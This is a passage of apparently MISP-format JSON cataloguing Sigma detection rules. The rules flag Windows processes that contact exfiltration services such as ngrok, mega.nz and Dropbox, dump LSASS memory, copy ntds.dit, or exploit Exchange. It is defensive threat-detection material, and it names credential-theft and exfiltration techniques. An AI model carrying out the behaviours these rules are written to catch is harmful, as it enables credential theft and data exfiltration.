"https://twitter.com/M_haggis/status/900741347035889665", "https://www.cisa.gov/uscert/ncas/alerts/aa22-321a", "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker", "https://twitter.com/M_haggis/status/1032799638213066752", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_binary_susp_com.yml" ], "tags": [ "attack.lateral_movement", "attack.t1105" ] }, "related": [ { "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "e0f8ab85-0ac9-423b-a73a-81b3c7b1aa97", "value": "Microsoft Binary Suspicious Communication Endpoint" }, { "description": "Detects an executable accessing an ngrok tunneling endpoint, which could be a sign of forbidden exfiltration of data exfiltration by malicious actors", "meta": { "author": "Florian Roth", "creation_date": "2022/11/03", "falsepositive": [ "Legitimate use of ngrok" ], "filename": "net_connection_win_ngrok_tunnel.yml", "level": "high", "logsource.category": "network_connection", "logsource.product": "windows", "refs": [ "https://ngrok.com/docs/secure-tunnels/tunnels/ssh-reverse-tunnel-agent", "https://twitter.com/hakluke/status/1587733971814977537/photo/1", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_ngrok_tunnel.yml" ], "tags": [ "attack.exfiltration", "attack.command_and_control", "attack.t1567", "attack.t1568.002", "attack.t1572", "attack.t1090", "attack.t1102", "attack.s0508" ] }, "related": [ { "dest-uuid": "40597f16-0963-4249-bf4c-ac93b7fb9807", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "118f61a5-eb3e-4fb6-931f-2096647f4ecd", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "4fe28b27-b13c-453e-a386-c2ef362a573b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "1d08ac94-400d-4469-a82f-daee9a908849", "value": "Communication To Ngrok Tunneling Service" }, { "description": "Detects programs that connect to typical malware back connect ports based on statistical analysis from two different sandbox system databases", "meta": { "author": "Florian Roth", "creation_date": "2017/03/19", "falsepositive": [ "Unknown" ], "filename": "net_connection_win_malware_backconnect_ports.yml", "level": "medium", "logsource.category": "network_connection", "logsource.product": "windows", "refs": [ "https://docs.google.com/spreadsheets/d/17pSTDNpa0sf6pHeRhusvWG6rThciE8CsXTSlDUAZDyo", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_malware_backconnect_ports.yml" ], "tags": [ "attack.command_and_control", "attack.t1571" ] }, "related": [ { "dest-uuid": "b18eae87-b469-4e14-b454-b171b416bc18", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "4b89abaa-99fe-4232-afdd-8f9aa4d20382", "value": "Suspicious Typical Malware Back Connect Ports" }, { "description": "Detects a possible remote connections to Silenttrinity c2", "meta": { "author": "Kiran kumar s, oscd.community", "creation_date": "2020/10/11", "falsepositive": [ "Unknown" ], "filename": "net_connection_win_silenttrinity_stager_msbuild_activity.yml", "level": "high", "logsource.category": "network_connection", "logsource.product": "windows", "refs": [ "https://www.blackhillsinfosec.com/my-first-joyride-with-silenttrinity/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_silenttrinity_stager_msbuild_activity.yml" ], "tags": [ "attack.execution", "attack.t1127.001" ] }, "related": [ { "dest-uuid": "c92e3d68-2349-49e4-a341-7edca2deff96", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "50e54b8d-ad73-43f8-96a1-5191685b17a4", "value": "Silenttrinity Stager Msbuild Activity" }, { "description": "Detects suspicious \"epmap\" connection to a remote computer via remote procedure call (RPC)", "meta": { "author": "frack113, Tim Shelton (fps)", "creation_date": "2022/07/14", "falsepositive": [ "Unknown" ], "filename": "net_connection_win_susp_epmap.yml", "level": "high", "logsource.category": "network_connection", "logsource.product": "windows", "refs": [ "https://github.com/RiccardoAncarani/TaskShell/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_susp_epmap.yml" ], "tags": [ "attack.lateral_movement" ] }, "uuid": "628d7a0b-7b84-4466-8552-e6138bc03b43", "value": "Suspicious Epmap Connection" }, { "description": "Detects a script interpreter wscript/cscript opening a network connection. Adversaries may use script to download malicious payloads.", "meta": { "author": "frack113", "creation_date": "2022/08/28", "falsepositive": [ "Legitimate scripts" ], "filename": "net_connection_win_script.yml", "level": "medium", "logsource.category": "network_connection", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/28d190330fe44de6ff4767fc400cc10fa7cd6540/atomics/T1105/T1105.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_script.yml" ], "tags": [ "attack.command_and_control", "attack.t1105" ] }, "related": [ { "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "08249dc0-a28d-4555-8ba5-9255a198e08c", "value": "Script Initiated Connection" }, { "description": "Detects suspicious outbound network activity via kerberos default port indicating possible lateral movement or first stage PrivEsc via delegation.", "meta": { "author": "Ilyas Ochkov, oscd.community", "creation_date": "2019/10/24", "falsepositive": [ "Other browsers" ], "filename": "net_connection_win_susp_outbound_kerberos_connection.yml", "level": "high", "logsource.category": "network_connection", "logsource.product": "windows", "refs": [ "https://github.com/GhostPack/Rubeus", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_susp_outbound_kerberos_connection.yml" ], "tags": [ "attack.credential_access", "attack.t1558", "attack.lateral_movement", "attack.t1550.003" ] }, "uuid": "e54979bd-c5f9-4d6c-967b-a04b19ac4c74", "value": "Suspicious Outbound Kerberos Connection" }, { "description": "Detects programs with network connections running in suspicious files system locations", "meta": { "author": "Florian Roth, Tim Shelton", "creation_date": "2017/03/19", "falsepositive": [ "Unknown" ], "filename": "net_connection_win_susp_prog_location_network_connection.yml", "level": "high", "logsource.category": "network_connection", "logsource.product": "windows", "refs": [ "https://docs.google.com/spreadsheets/d/17pSTDNpa0sf6pHeRhusvWG6rThciE8CsXTSlDUAZDyo", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_susp_prog_location_network_connection.yml" ], "tags": [ "attack.command_and_control", "attack.t1105" ] }, "related": [ { "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "7b434893-c57d-4f41-908d-6a17bf1ae98f", "value": "Suspicious Program Location with Network Connections" }, { "description": "Detects svchost hosting RDP termsvcs communicating with the loopback address and on TCP port 3389", "meta": { "author": "Samir Bousseaden", "creation_date": "2019/02/16", "falsepositive": [ "Unknown" ], "filename": "net_connection_win_rdp_reverse_tunnel.yml", "level": "high", "logsource.category": "network_connection", "logsource.product": "windows", "refs": [ "https://twitter.com/SBousseaden/status/1096148422984384514", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_rdp_reverse_tunnel.yml" ], "tags": [ "attack.command_and_control", "attack.t1572", "attack.lateral_movement", "attack.t1021.001", "car.2013-07-002" ] }, "related": [ { "dest-uuid": "4fe28b27-b13c-453e-a386-c2ef362a573b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "5f699bc5-5446-4a4a-a0b7-5ef2885a3eb4", "value": "RDP Over Reverse SSH Tunnel" }, { "description": "Detects an executable accessing ngrok.io, which could be a sign of forbidden exfiltration of data exfiltration by malicious actors", "meta": { "author": "Florian Roth", "creation_date": "2022/07/16", "falsepositive": [ "Legitimate use of ngrok.io" ], "filename": "net_connection_win_ngrok_io.yml", "level": "high", "logsource.category": "network_connection", "logsource.product": "windows", "refs": [ "https://ngrok.com/", "https://www.virustotal.com/gui/file/cca0c1182ac114b44dc52dd2058fcd38611c20bb6b5ad84710681d38212f835a/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_ngrok_io.yml" ], "tags": [ "attack.exfiltration", "attack.t1567.001" ] }, "related": [ { "dest-uuid": "86a96bf6-cf8b-411c-aaeb-8959944d64f7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "18249279-932f-45e2-b37a-8925f2597670", "value": "Communication To Ngrok.Io" }, { "description": "Use IMEWDBLD.exe (built-in to windows) to download a file", "meta": { "author": "frack113", "creation_date": "2022/01/22", "falsepositive": [ "Legitimate script" ], "filename": "net_connection_win_imewdbld.yml", "level": "high", "logsource.category": "network_connection", "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/Binaries/IMEWDBLD/", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1105/T1105.md#atomic-test-10---windows---powershell-download", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_imewdbld.yml" ], "tags": [ "attack.command_and_control", "attack.t1105" ] }, "related": [ { "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "8d7e392e-9b28-49e1-831d-5949c6281228", "value": "Download a File with IMEWDBLD.exe" }, { "description": "Detects Dllhost that communicates with public IP addresses", "meta": { "author": "bartblaze", "creation_date": "2020/07/13", "falsepositive": [ "Communication to other corporate systems that use IP addresses from public address spaces" ], "filename": "net_connection_win_dllhost_net_connections.yml", "level": "medium", "logsource.category": "network_connection", "logsource.product": "windows", "refs": [ "https://redcanary.com/blog/child-processes/", "https://nasbench.medium.com/what-is-the-dllhost-exe-process-actually-running-ef9fe4c19c08", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_dllhost_net_connections.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218", "attack.execution", "attack.t1559.001" ] }, "related": [ { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "2f6b4ed7-fef1-44ba-bcb8-1b4beb610b64", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "cfed2f44-16df-4bf3-833a-79405198b277", "value": "Dllhost Internet Connection" }, { "description": "Detects suspicious network connection by Cmstp", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/08/30", "falsepositive": [ "Unknown" ], "filename": "net_connection_win_susp_cmstp.yml", "level": "high", "logsource.category": "network_connection", "logsource.product": "windows", "refs": [ "https://web.archive.org/web/20190720093911/http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_susp_cmstp.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218.003" ] }, "related": [ { "dest-uuid": "4cbc6a62-9e34-4f94-8a19-5c1a11392a49", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "efafe0bf-4238-479e-af8f-797bd3490d2d", "value": "Cmstp Making Network Connection" }, { "description": "Detects network connections from Equation Editor", "meta": { "author": "Max Altgelt", "creation_date": "2022/04/14", "falsepositive": [ "Unknown" ], "filename": "net_connection_win_eqnedt.yml", "level": "high", "logsource.category": "network_connection", "logsource.product": "windows", "refs": [ "https://news.sophos.com/en-us/2019/07/18/a-new-equation-editor-exploit-goes-commercial-as-maldoc-attacks-using-it-spike/", "https://twitter.com/forensicitguy/status/1513538712986079238", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_eqnedt.yml" ], "tags": [ "attack.execution", "attack.t1203" ] }, "related": [ { "dest-uuid": "be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "a66bc059-c370-472c-a0d7-f8fd1bf9d583", "value": "Equation Editor Network Connection" }, { "description": "Detects an executable that isn't dropbox but communicates with the Dropbox API", "meta": { "author": "Florian Roth", "creation_date": "2022/04/20", "falsepositive": [ "Legitimate use of the API with a tool that the author wasn't aware of" ], "filename": "net_connection_win_susp_dropbox_api.yml", "level": "high", "logsource.category": "network_connection", "logsource.product": "windows", "refs": [ "https://app.any.run/tasks/7e906adc-9d11-447f-8641-5f40375ecebb", "https://www.zscaler.com/blogs/security-research/new-espionage-attack-molerats-apt-targeting-users-middle-east", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_susp_dropbox_api.yml" ], "tags": "No established tags" }, "uuid": "25eabf56-22f0-4915-a1ed-056b8dae0a68", "value": "Suspicious Dropbox API Usage" }, { "description": "Detects an executable accessing mega.co.nz, which could be a sign of forbidden file sharing use of data exfiltration by malicious actors", "meta": { "author": "Florian Roth", "creation_date": "2021/12/06", "falsepositive": [ "Legitimate use of mega.nz uploaders and tools" ], "filename": "net_connection_win_mega_nz.yml", "level": "high", "logsource.category": "network_connection", "logsource.product": "windows", "refs": [ "https://www.mandiant.com/resources/russian-targeting-gov-business", "https://megatools.megous.com/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_mega_nz.yml" ], "tags": [ "attack.exfiltration", "attack.t1567.001" ] }, "related": [ { "dest-uuid": "86a96bf6-cf8b-411c-aaeb-8959944d64f7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "fdeebdf0-9f3f-4d08-84a6-4c4d13e39fe4", "value": "Communication To Mega.nz" }, { "description": "Detects process connections to a Monero crypto mining pool", "meta": { "author": "Florian Roth", "creation_date": "2021/10/26", "falsepositive": [ "Legitimate use of crypto miners" ], "filename": "net_connection_win_crypto_mining.yml", "level": "high", "logsource.category": "network_connection", "logsource.product": "windows", "refs": [ "https://www.poolwatch.io/coin/monero", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_crypto_mining.yml" ], "tags": [ "attack.impact", "attack.t1496" ] }, "related": [ { "dest-uuid": "cd25c1b4-935c-4f0e-ba8d-552f28bc4783", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "fa5b1358-b040-4403-9868-15f7d9ab6329", "value": "Windows Crypto Mining Pool Connections" }, { "description": "Adversaries may abuse msiexec.exe to proxy execution of malicious payloads.\nMsiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi)\n", "meta": { "author": "frack113", "creation_date": "2022/01/16", "falsepositive": [ "Legitimate msiexec over networks" ], "filename": "net_connection_win_msiexec.yml", "level": "medium", "logsource.category": "network_connection", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.007/T1218.007.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_msiexec.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218.007" ] }, "related": [ { "dest-uuid": "365be77f-fc0e-42ee-bac8-4faf806d9336", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "8e5e38e4-5350-4c0b-895a-e872ce0dd54f", "value": "Msiexec Initiated Connection" }, { "description": "Detects suspicious processes that write (copy) a Active Directory database (ntds.dit) file", "meta": { "author": "Florian Roth", "creation_date": "2022/01/11", "falsepositive": [ "Unknown" ], "filename": "file_event_win_susp_ntds_dit.yml", "level": "high", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://stealthbits.com/blog/extracting-password-hashes-from-the-ntds-dit-file/", "https://adsecurity.org/?p=2398", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_ntds_dit.yml" ], "tags": [ "attack.credential_access", "attack.t1003.002", "attack.t1003.003" ] }, "related": [ { "dest-uuid": "1644e709-12d2-41e5-a60f-3470991f5011", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "edf91964-b26e-4b4a-9600-ccacd7d7df24", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "11b1ed55-154d-4e82-8ad7-83739298f720", "value": "Suspicious Process Writes Ntds.dit" }, { "description": "Detects potential privilege escalation attempt via the creation of the \"*.Exe.Local\" folder inside the \"System32\" directory in order to sideload \"comctl32.dll\"", "meta": { "author": "Nasreddine Bencherchali, Subhash P (@pbssubhash)", "creation_date": "2022/12/16", "falsepositive": [ "Unknown" ], "filename": "file_event_win_system32_local_folder_privilege_escalation.yml", "level": "high", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://github.com/sailay1996/awesome_windows_logical_bugs/blob/60cbb23a801f4c3195deac1cc46df27c225c3d07/dir_create2system.txt", "https://github.com/binderlabs/DirCreate2System", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_system32_local_folder_privilege_escalation.yml" ], "tags": [ "attack.defense_evasion", "attack.persistence", "attack.privilege_escalation" ] }, "uuid": "07a99744-56ac-40d2-97b7-2095967b0e03", "value": "Potential Privilege Escalation Attempt Via .Exe.Local Technique" }, { "description": "Detects dropped files with LNK double extension, which is often used by malware as a method to abuse the fact that windows hide default extensions by default.", "meta": { "author": "Nasreddine Bencherchali, frack113", "creation_date": "2022/11/07", "falsepositive": [ "Users creating a shortcut on e.g. desktop" ], "filename": "file_event_win_susp_lnk_double_extension.yml", "level": "medium", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://www.cybereason.com/blog/research/a-bazar-of-tricks-following-team9s-development-cycles", "https://twitter.com/malwrhunterteam/status/1235135745611960321", "https://www.anomali.com/blog/china-based-apt-mustang-panda-targets-minority-groups-public-and-private-sector-organizations", "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-june-mustang-panda/", "https://twitter.com/luc4m/status/1073181154126254080", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_lnk_double_extension.yml" ], "tags": [ "attack.defense_evasion", "attack.t1036.007" ] }, "related": [ { "dest-uuid": "11f29a39-0942-4d62-92b6-fe236cf3066e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "3215aa19-f060-4332-86d5-5602511f3ca8", "value": "Suspicious LNK Double Extension Files" }, { "description": "Ransomware create txt file in the user Desktop", "meta": { "author": "frack113", "creation_date": "2021/12/26", "falsepositive": [ "Unknown" ], "filename": "file_event_win_susp_desktop_txt.yml", "level": "high", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1486/T1486.md#atomic-test-5---purelocker-ransom-note", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_desktop_txt.yml" ], "tags": [ "attack.impact", "attack.t1486" ] }, "related": [ { "dest-uuid": "b80d107d-fa0d-4b60-9684-b0433e8bdba0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "caf02a0a-1e1c-4552-9b48-5e070bd88d11", "value": "Suspicious Creation TXT File in User Desktop" }, { "description": "Detects the use of NPPSpy hacktool that stores cleartext passwords of users that logged in to a local file", "meta": { "author": "Florian Roth", "creation_date": "2021/11/29", "falsepositive": [ "Unknown" ], "filename": "file_event_win_hktl_nppspy.yml", "level": "high", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://twitter.com/0gtweet/status/1465282548494487554", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003/T1003.md#atomic-test-2---credential-dumping-with-nppspy", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_hktl_nppspy.yml" ], "tags": [ "attack.credential_access" ] }, "uuid": "cad1fe90-2406-44dc-bd03-59d0b58fe722", "value": "NPPSpy Hacktool Usage" }, { "description": "Detects the creation of diagcab file, which could be caused by some legitimate installer or is a sign of exploitation (review the filename and its location)", "meta": { "author": "frack113", "creation_date": "2022/06/08", "falsepositive": [ "Legitimate microsoft diagcab" ], "filename": "file_event_win_susp_diagcab.yml", "level": "medium", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://threadreaderapp.com/thread/1533879688141086720.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_diagcab.yml" ], "tags": [ "attack.resource_development" ] }, "uuid": "3d0ed417-3d94-4963-a562-4a92c940656a", "value": "Creation of a Diagcab" }, { "description": "A sigma rule detecting an unidetefied attacker who used phishing emails to target high profile orgs on November 2018. The Actor shares some TTPs with YYTRIUM/APT29 campaign in 2016.", "meta": { "author": "@41thexplorer, Microsoft Defender ATP", "creation_date": "2018/11/20", "falsepositive": "No established falsepositives", "filename": "file_event_win_apt_unidentified_nov_18.yml", "level": "high", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://twitter.com/DrunkBinary/status/1063075530180886529", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_apt_unidentified_nov_18.yml" ], "tags": [ "attack.execution", "attack.t1218.011" ] }, "related": [ { "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "3a3f81ca-652c-482b-adeb-b1c804727f74", "value": "Unidentified Attacker November 2018 - File" }, { "description": "Detects the creation or modification of a vscode related powershell profile which could indicate suspicious activity as the profile can be used as a mean of persistence", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/08/24", "falsepositive": [ "Legitimate use of the profile by developers or administrators" ], "filename": "file_event_win_susp_vscode_powershell_profile.yml", "level": "medium", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-7.2", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_vscode_powershell_profile.yml" ], "tags": [ "attack.persistence", "attack.privilege_escalation", "attack.t1546.013" ] }, "related": [ { "dest-uuid": "0f2c410d-d740-4ed9-abb1-b8f4a7faf6c3", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "3a9fa2ec-30bc-4ebd-b49e-7c9cff225502", "value": "VsCode Powershell Profile Modification" }, { "description": "Detects the creation of the PROCEXP152.sys file in the application-data local temporary folder.\nThis driver is used by Sysinternals Process Explorer but also by KDU (https://github.com/hfiref0x/KDU) or Ghost-In-The-Logs (https://github.com/bats3c/Ghost-In-The-Logs), which uses KDU.\n", "meta": { "author": "xknow (@xknow_infosec), xorxes (@xor_xes)", "creation_date": "2019/04/08", "falsepositive": [ "Other legimate tools using this driver and filename (like Sysinternals). Note - Clever attackers may easily bypass this detection by just renaming the driver filename. Therefore just Medium-level and don't rely on it." ], "filename": "file_event_win_susp_procexplorer_driver_created_in_tmp_folder.yml", "level": "medium", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://blog.dylan.codes/evading-sysmon-and-windows-event-logging/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_procexplorer_driver_created_in_tmp_folder.yml" ], "tags": [ "attack.t1562.001", "attack.defense_evasion" ] }, "uuid": "3da70954-0f2c-4103-adff-b7440368f50e", "value": "Suspicious PROCEXP152.sys File Created In TMP" }, { "description": "Detects file names used by different memory dumping tools to create a memory dump of the LSASS process memory, which contains user credentials", "meta": { "author": "Florian Roth", "creation_date": "2021/11/15", "falsepositive": [ "Unknown" ], "filename": "file_event_win_lsass_dump.yml", "level": "high", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://github.com/elastic/detection-rules/blob/c76a39796972ecde44cb1da6df47f1b6562c9770/rules/windows/credential_access_lsass_memdump_file_created.toml", "https://github.com/helpsystems/nanodump", "https://medium.com/@markmotig/some-ways-to-dump-lsass-exe-c4a75fdc49bf", "https://www.google.com/search?q=procdump+lsass", "https://www.whiteoaksecurity.com/blog/attacks-defenses-dumping-lsass-no-mimikatz/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_lsass_dump.yml" ], "tags": [ "attack.credential_access", "attack.t1003.001" ] }, "related": [ { "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "a5a2d357-1ab8-4675-a967-ef9990a59391", "value": "LSASS Process Memory Dump Files" }, { "description": "Detects possible successful exploitation for vulnerability described in CVE-2021-26858 by looking for \ncreation of non-standard files on disk by Exchange Server’s Unified Messaging service\nwhich could indicate dropping web shells or other malicious content\n", "meta": { "author": "Bhabesh Raj", "creation_date": "2021/03/03", "falsepositive": [ "Unknown" ], "filename": "file_event_win_cve_2021_26858_msexchange.yml", "level": "high", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_cve_2021_26858_msexchange.yml" ], "tags": [ "attack.t1203", "attack.execution", "cve.2021.26858" ] }, "related": [ { "dest-uuid": "be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "b06335b3-55ac-4b41-937e-16b7f5d57dfd", "value": "CVE-2021-26858 Exchange Exploitation" }, { "description": "Detects the use of Dumpert process dumper, which dumps the lsass.exe process memory", "meta": { "author": "Florian Roth", "creation_date": "2020/02/04", "falsepositive": [ "Very unlikely" ], "filename": "file_event_win_hack_dumpert.yml", "level": "critical", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://unit42.paloaltonetworks.com/actors-still-exploiting-sharepoint-vulnerability/", "https://github.com/outflanknl/Dumpert", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_hack_dumpert.yml" ], "tags": [ "attack.credential_access", "attack.t1003.001" ] }, "related": [ { "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "93d94efc-d7ad-4161-ad7d-1638c4f908d8", "value": "Dumpert Process Dumper Default File" }, { "description": "Detects default PsExec service filename which indicates PsExec service installation and execution", "meta": { "author": "Thomas Patzke", "creation_date": "2017/06/12", "falsepositive": [ "Unknown" ], "filename": "file_event_win_tool_psexec.yml", "level": "low", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://jpcertcc.github.io/ToolAnalysisResultSheet", "https://www.jpcert.or.jp/english/pub/sr/ir_research.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_tool_psexec.yml" ], "tags": [ "attack.execution", "attack.t1569.002", "attack.s0029" ] }, "related": [ { "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "259e5a6a-b8d2-4c38-86e2-26c5e651361d", "value": "PsExec Service File Creation" }, { "description": "Detects the creation of suspicious files and folders inside the user's AppData folder but not inside any of the common and well known directories (Local, Romaing, LocalLow). This method could be used as a method to bypass detection who exclude the AppData folder in fear of FPs", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/08/05", "falsepositive": [ "Unlikely" ], "filename": "file_event_win_new_files_in_uncommon_appdata_folder.yml", "level": "high", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "Internal Research", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_new_files_in_uncommon_appdata_folder.yml" ], "tags": [ "attack.defense_evasion", "attack.execution" ] }, "uuid": "d7b50671-d1ad-4871-aa60-5aa5b331fe04", "value": "Creation Suspicious File In Uncommon AppData Folder" }, { "description": "Detects dropped files with double extensions, which is often used by malware as a method to abuse the fact that windows hide default extensions by default.", "meta": { "author": "Nasreddine Bencherchali, frack113", "creation_date": "2022/06/19", "falsepositive": [ "Unlikely" ], "filename": "file_event_win_susp_double_extension.yml", "level": "high", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ "https://www.cybereason.com/blog/research/a-bazar-of-tricks-following-team9s-development-cycles", "https://twitter.com/malwrhunterteam/status/1235135745611960321", "https://www.anomali.com/blog/china-based-apt-mustang-panda-targets-minority-groups-public-and-private-sector-organizations", "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-june-mustang-panda/", "https://twitter.com/luc4m/status/1073181154126254080", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_double_extension.yml" ], "tags": [ "attack.defense_evasion", "attack.t1036.007" ] }, "related": [ { "dest-uuid": "11f29a39-0942-4d62-92b6-fe236cf3066e", "tags": [ 